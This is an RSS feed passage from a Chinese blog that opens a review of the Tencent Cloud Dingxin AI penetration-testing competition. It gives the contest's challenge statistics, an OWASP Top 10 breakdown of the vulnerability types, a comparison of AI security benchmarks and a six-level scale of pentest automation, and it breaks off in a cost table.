arXiv:1810.03993, <em>Model Cards for Model Reporting</em></div><div class="notion-text notion-block-3060f0c5b87c80edb2d5f3328b841d41">https://arxiv.org/abs/1810.03993</div><div class="notion-text notion-block-3060f0c5b87c80a483bff05cef922575">[36] arXiv:2508.06601, <em>Deep Ignorance: Filtering Pre-Training Data Builds Tamper-Resistant Safeguards into Open-Weight LLMs</em></div><div class="notion-text notion-block-3060f0c5b87c8032a5a2f64c551bb50f">https://arxiv.org/abs/2508.06601</div><div class="notion-text notion-block-3060f0c5b87c80b1aa98f6e66e0681be">[37] NIST AI RMF Playbook (持续更新页面)</div><div class="notion-text notion-block-3060f0c5b87c80d3a8f7c09e4a4ce2bb">https://airc.nist.gov/airmf-resources/playbook</div></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[智·战 2025 —— 腾讯云鼎AI渗透大赛全景复盘]]></title>
            <link>http://www.cdxiaodong.life//article/2ba0f0c5-b87c-8060-92c5-e37f04442bc5</link>
            <guid>http://www.cdxiaodong.life//article/2ba0f0c5-b87c-8060-92c5-e37f04442bc5</guid>
            <pubDate>Tue, 17 Feb 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-2ba0f0c5b87c806092c5e37f04442bc5"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><div class="notion-text notion-block-30a0f0c5b87c81878044c4fc3f9bc771"><b>基于2025”1129”AI渗透大赛的实战复盘</b></div><hr class="notion-hr notion-block-30a0f0c5b87c81d4a36af6c587c2d480"/><div class="notion-text notion-block-30a0f0c5b87c81e690ddfe5e9b6b0414"><b>作者:</b> cdxiaodong
<b>日期:</b> 2025/11/29
<b>大赛名称:</b> 腾讯云鼎AI渗透大赛
<b>类型:</b> 技术复盘和未来预期</div><hr class="notion-hr notion-block-30a0f0c5b87c8181ab15d90cbf33b571"/><div class="notion-text notion-block-30a0f0c5b87c800bab64dceb9b8e1f5d">复盘基本在25年12月03即初步完成了 后续就是各个版本的迭代。AI进步很快，版本迭代也很快，期望此篇文章对于有兴趣的朋友能够得到一定帮助。</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-30a0f0c5b87c81cd96cfff17905b22df" data-id="30a0f0c5b87c81cd96cfff17905b22df"><span><div id="30a0f0c5b87c81cd96cfff17905b22df" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81cd96cfff17905b22df" title="目录"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">目录</span></span></h2><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8189ad43df54cbf2fc11"><li><a class="notion-link" href="about:blank#%E5%A4%A7%E8%B5%9B%E8%83%8C%E6%99%AF%E4%B8%8E%E5%9F%BA%E6%9C%AC%E4%BB%8B%E7%BB%8D">大赛背景与基本介绍</a></li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8116bda1c340db2ba577"><li><a class="notion-link" href="about:blank#%E5%8F%82%E8%B5%9B%E9%98%9F%E4%BC%8D%E5%85%A8%E6%99%AF%E5%88%86%E6%9E%90">参赛队伍全景分析</a></li><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8116bda1c340db2ba577"><li><a class="notion-link" href="about:blank#%E9%95%BF%E4%BA%AD%E5%A4%96---%E5%86%A0%E5%86%9B%E5%9B%A2%E9%98%9F-no1">长亭外 - 冠军团队</a></li><li><a class="notion-link" href="about:blank#%E8%A5%BF%E5%AE%89%E4%BA%A4%E9%80%9A%E5%A4%A7%E5%AD%A6---%E4%BA%9A%E5%86%9B%E5%9B%A2%E9%98%9F-no2">西安交通大学 - 亚军团队</a></li><li><a class="notion-link" href="about:blank#binx-%E5%B9%BF%E5%B7%9E%E5%A4%A7%E5%AD%A6---%E5%AD%A3%E5%86%9B%E5%9B%A2%E9%98%9F-no3">BinX (广州大学) - 季军团队</a></li><li><a class="notion-link" href="about:blank#antix-%E6%88%90%E4%BF%A1%E5%A4%A7---%E7%AC%AC%E5%9B%9B%E5%90%8D-no4">Antix (成信大) - 第四名</a></li><li><a class="notion-link" href="about:blank#%E7%AC%AC%E4%BA%94%E5%90%8D%E9%98%9F%E4%BC%8D%E4%BF%A1%E6%81%AF%E7%BC%BA%E5%A4%B1%E8%AF%B4%E6%98%8E">第五名队伍信息缺失说明</a></li><li><a class="notion-link" href="about:blank#neurosploit-%E6%B8%85%E5%8D%8E%E8%81%94%E5%90%88---%E7%AC%AC%E5%85%AD%E5%90%8D-no6">NeuroSploit (清华联合) - 第六名</a></li><li><a class="notion-link" href="about:blank#%E7%BB%BF%E7%9B%9F---%E7%AC%AC%E4%B8%83%E5%90%8D-no7">绿盟 - 第七名</a></li><li><a class="notion-link" href="about:blank#%E9%A6%99%E6%B8%AF%E5%9F%8E%E5%B8%82%E5%A4%A7%E5%AD%A6---%E7%AC%AC%E5%85%AB%E5%90%8D-no8">香港城市大学 - 第八名</a></li><li><a class="notion-link" href="about:blank#yhy0---%E7%AC%AC%E4%B9%9D%E5%90%8D-no9">yhy0 - 第九名</a></li></ul></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a99b28d8d6b5615622"><li><a class="notion-link" href="about:blank#%E6%A0%B8%E5%BF%83%E6%9C%AF%E8%AF%AD%E8%A1%A8">核心术语表</a></li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b28517c7672b6a7c25"><li><a class="notion-link" href="about:blank#%E6%8A%80%E6%9C%AF%E8%B7%AF%E7%BA%BF%E6%B7%B1%E5%BA%A6%E5%AF%B9%E6%AF%94">技术路线深度对比</a></li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c811caafdf7de814cce8e"><li><a class="notion-link" href="about:blank#%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E5%AF%B9%E6%AF%94">核心问题解决方案对比</a></li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a4953cc55307cf664d"><li><a class="notion-link" href="about:blank#%E4%B9%9D%E5%A4%A7%E6%88%98%E9%98%9F%E6%8A%80%E6%9C%AF%E6%96%B9%E6%A1%88%E5%85%A8%E6%99%AF%E5%AF%B9%E6%AF%94%E8%A1%A8">九大战队技术方案全景对比表</a></li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c813597a9d516c3c6e81a"><li><a class="notion-link" href="about:blank#%E7%BB%BC%E5%90%88%E5%88%86%E6%9E%90%E4%B8%8E%E6%80%BB%E7%BB%93">综合分析与总结</a></li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81f0a738ce478cee24fd"><li><a class="notion-link" href="about:blank#%E6%9C%AA%E6%9D%A5%E8%B6%8B%E5%8A%BF%E4%B8%8E%E5%BB%BA%E8%AE%AE">未来趋势与建议</a></li></ul><hr class="notion-hr notion-block-30a0f0c5b87c81218f05fca89bc89ba6"/><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-30a0f0c5b87c81729b39c72161f23272" data-id="30a0f0c5b87c81729b39c72161f23272"><span><div id="30a0f0c5b87c81729b39c72161f23272" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81729b39c72161f23272" title="大赛背景与基本介绍"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">大赛背景与基本介绍</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c818aa49edf7f3a35e79b" data-id="30a0f0c5b87c818aa49edf7f3a35e79b"><span><div id="30a0f0c5b87c818aa49edf7f3a35e79b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c818aa49edf7f3a35e79b" title="大赛概况"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">大赛概况</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c81b69321ca2bb3690c38">本次大赛是全球首个专注于AI自动化渗透测试的实战竞赛，汇聚了来自清华大学、西安交通大学、香港城市大学、成信大、广州大学等顶尖高校的安全战队，以及绿盟、长亭科技等企业安全团队。</div><div class="notion-text notion-block-30a0f0c5b87c8102b97be8f28bd94cda"><b>大赛核心目标：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8161bdfdcb9eaf894258"><li>探索AI在自动化渗透测试中的实际能力边界</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8166b520e87bf4cf8fd7"><li>对比不同AI架构和安全策略的实战效果</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c815f9331dd072197cc19"><li>推动AI技术在网络安全领域的工程化落地</li></ul><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c81058a4fcaafd6846566" data-id="30a0f0c5b87c81058a4fcaafd6846566"><span><div id="30a0f0c5b87c81058a4fcaafd6846566" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81058a4fcaafd6846566" title="赛题设置分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">赛题设置分析</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c81b58198d2743aded2b5"><b>测试题库概览：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81cdbf47ecc2b6d199ad"><li><b>题目总数:</b> 104道网络安全挑战题</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d2b2cec382def719d2"><li><b>难度分布:</b></li><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d2b2cec382def719d2"><li>简单: 45题 (43.3%)</li><li>中等: 51题 (49.0%)</li><li>困难: 8题 (7.7%)</li></ul></ul><div class="notion-text notion-block-30a0f0c5b87c812a8341ef8bee167909"><b>漏洞类型覆盖：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81679da9db17024f0021"><li>高频漏洞: XSS、默认凭证、IDOR、权限提升</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c811a8e34c237d2dc854a"><li>中频漏洞: SSTI、命令注入、SQL注入</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c817aa871d9ebf40aa516"><li>低频但高危: 反序列化、代码执行、文件包含</li></ul><div class="notion-text notion-block-30a0f0c5b87c81849cf9ec80298c6cb7"><b>特点分析：</b>
这是一套覆盖从基础逻辑漏洞到复杂代码执行漏洞的综合性演练题库，既包含传统的Web漏洞，也涵盖了现代Web应用的安全威胁。</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81a5b00fe32d9ee80c49" data-id="30a0f0c5b87c81a5b00fe32d9ee80c49"><span><div id="30a0f0c5b87c81a5b00fe32d9ee80c49" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81a5b00fe32d9ee80c49" title="XBOW数据集分析（实际比赛数据）"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">XBOW数据集分析（实际比赛数据）</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c818f8347e8c5ad20cb6e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image10-20260217113443-ye396rq.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-818f-8347-e8c5ad20cb6e" alt="XBOW数据集分析" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c813aa11fc80bc74e4873">XBOW数据集分析</div><div class="notion-text notion-block-30a0f0c5b87c815cbb2eddc58e4d74ef"><b>数据来源：</b> 腾讯云鼎AI渗透大赛现场演示</div><div class="notion-text notion-block-30a0f0c5b87c81af8d89c7593c5d4541"><b>关键发现：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81269c35eb9864cf347d"><li>将所有环境中涉及到的漏洞映射到OWASP TOP 10上</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81e59881f86eeed4c08a"><li>注入漏洞（A01）以59次位居第一，占比最高</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c810b80cbcf9f30f46fe2"><li>访问控制漏洞（A02）29次，位列第二</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81c7937cefaec370abe6"><li>不安全的反序列化（A03）18次，排名第三</li></ul><div class="notion-text notion-block-30a0f0c5b87c814cb016c0b9503801e0"><b>OWASP Top 10覆盖统计：</b></div><table class="notion-simple-table notion-block-30a0f0c5b87c81049f17e279be94cec4"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c8151a9c1c2c653d6231a"><td class="" style="width:120px"><div class="notion-simple-table-cell">类别</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">数量</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">占比</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81eba801e6e6b28bb98b"><td class="" style="width:120px"><div class="notion-simple-table-cell">A01: Injection</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">59</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">39.6%</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8194921ff2a6a747de92"><td class="" style="width:120px"><div class="notion-simple-table-cell">A02: Broken Access Control</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">29</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">19.5%</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8197b49af929aafb9feb"><td class="" style="width:120px"><div class="notion-simple-table-cell">A03: Insecure Deserialization</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">18</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">12.1%</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c817682aee02321c66a97"><td class="" style="width:120px"><div class="notion-simple-table-cell">A04: Insecure Design</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">7</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">4.7%</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81b7b308eda339298674"><td class="" style="width:120px"><div class="notion-simple-table-cell">A05: Security Misconfiguration</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">7</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">4.7%</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81d5b035c4bdf695fa4b"><td class="" style="width:120px"><div class="notion-simple-table-cell">A06: Vulnerable Components</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">5</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">3.4%</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81d487dbef7fc8b53e7a"><td class="" style="width:120px"><div class="notion-simple-table-cell">A07: Authentication Failures</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">3</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">2.0%</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81d9b424f8a475ab28ba"><td class="" style="width:120px"><div class="notion-simple-table-cell">A08: Integrity Failures</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">3</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">2.0%</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81c29992c9daeb067d92"><td class="" style="width:120px"><div class="notion-simple-table-cell">A09: Logging Failures</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">3</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">2.0%</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8157919de652e59bdc5a"><td class="" style="width:120px"><div class="notion-simple-table-cell">A10: SSRF</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">3</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">2.0%</div></td></tr></tbody></table><blockquote class="notion-quote notion-block-30a0f0c5b87c81f1b6b7ff4d17af0bb5"><div><b>实战洞察：</b> 注入类漏洞和访问控制类漏洞占据了近60%的比例，这是AI渗透测试需要重点攻克的领域。</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81dcb29cf5799f8e1039" data-id="30a0f0c5b87c81dcb29cf5799f8e1039"><span><div id="30a0f0c5b87c81dcb29cf5799f8e1039" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81dcb29cf5799f8e1039" title="现有AI评估工具对比"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">现有AI评估工具对比</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81cf9feeea896cfbe825"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image35-20260217113443-7edxfho.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-81cf-9fee-ea896cfbe825" alt="AI评估工具对比表格" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c816a8230c72b50466c98">AI评估工具对比表格</div><div class="notion-text notion-block-30a0f0c5b87c81d69ca3e40df5ab7411"><b>对比分析：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c810a97b3cc5dcb61efb4"><li><b>RAVEN:</b> NYU CTF基准准确率22%，测试范围局限</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b3a593cfa02a122ef3"><li><b>CTFKnow:</b> InterCode - CTF提升85%，基于1084个Whitepaper</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81bc8e06f16c8b4781d2"><li><b>Cybench:</b> 最大成功率89.4%，上下文129k tokens</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8151a8cfc3f27cdb80d0"><li><b>CABench:</b> 提高CTF成功率67-75%，样本量&gt;20,000</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c817099d2f5d5f46174a1"><li><b>CAI:</b> 收敛速度提升197-900%，但存在实验偏差</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81779fe2ee35364f144d"><li><b>Automation Gap:</b> 基于CAI 2026，分析视角局限</li></ul><div class="notion-text notion-block-30a0f0c5b87c81038f9dd3748758a0a0">这些工具各有优劣，为本大赛的技术路线选择提供了重要参考。</div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c814287edcfb7607340b8" data-id="30a0f0c5b87c814287edcfb7607340b8"><span><div id="30a0f0c5b87c814287edcfb7607340b8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c814287edcfb7607340b8" title="自动化渗透测试的六阶段演进"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">自动化渗透测试的六阶段演进</span></span></h3><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c8185a1c4e25a58ec3332"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image8-20260217113443-d3nq1fo.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-8185-a1c4-e25a58ec3332" alt="自动化演进路径 - 双层流程架构" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c810487c9ccd0d8260673">自动化演进路径 - 双层流程架构</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c810eb7b9de2c069f61f4"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/cn01_automation_evolution-20260217113443-79tbg3n.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-810e-b7b9-de2c069f61f4" alt="生成图片 - 自动化渗透测试演进时间线（中文）" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81afaed9c1129d1e0bcd">生成图片 - 自动化渗透测试演进时间线（中文）</div><table class="notion-simple-table notion-block-30a0f0c5b87c81cd9777cb413198ea85"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c81d7ab59df01b024920f"><td class="" style="width:120px"><div class="notion-simple-table-cell">阶段</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">级别</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">描述</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">类比自动驾驶</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81558acee3185d390334"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>P0</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">人工渗透</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">完全依赖人类专家</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">L0 - 无自动化</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81e29118dcf007640c1f"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>P1</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">工具增强</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">工具执行固定步骤，人类决策</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">L1 - 驾驶辅助</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81758b14f7a46101adee"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>P2</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">部分自动化</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">自动化独立步骤，无法跑完整攻击链</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">L2 - 部分自动化</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81bc9fbae1a99daa219a"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>P3</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">有条件自动化</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">自动完成有限利用链，关键节点需确认</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">L3 - 有条件自动驾驶</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8104ac63db0d238162ef"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>P4</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">高度自动化</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">自动跑完整攻击链，人类负责校验</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">L4 - 高度自动驾驶</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81b3938bc76c6d313892"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>P5</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">完全自动化</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">全链路自主运行，无需人类介入</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">L5 - 完全自动驾驶</div></td></tr></tbody></table><div class="notion-text notion-block-30a0f0c5b87c81d9b961e25f6a82adb1"><b>现状分析：</b>
目前参赛的顶尖战队大多处于 <b>P3-P4</b> 水平，能够在特定条件下自动化完成渗透测试，但在复杂场景和未知漏洞面前仍需人类专家介入。</div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c81f99e74d621f0470087" data-id="30a0f0c5b87c81f99e74d621f0470087"><span><div id="30a0f0c5b87c81f99e74d621f0470087" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81f99e74d621f0470087" title="TOKEN消耗与成本分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">TOKEN消耗与成本分析</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c8106ad74dfda93d0bff6"><b>各战队成本对比：</b></div><table class="notion-simple-table notion-block-30a0f0c5b87c818b81c2eed95728090b"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c81f1b35eefc711f705bc"><td class="" style="width:120px"><div class="notion-simple-table-cell">战队</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">平均成本/题</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">成本说明</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">主要模型</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8179a0b4ef5376ca289e"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>西安交大</b></div></td><td class="" style="width:120px"><div 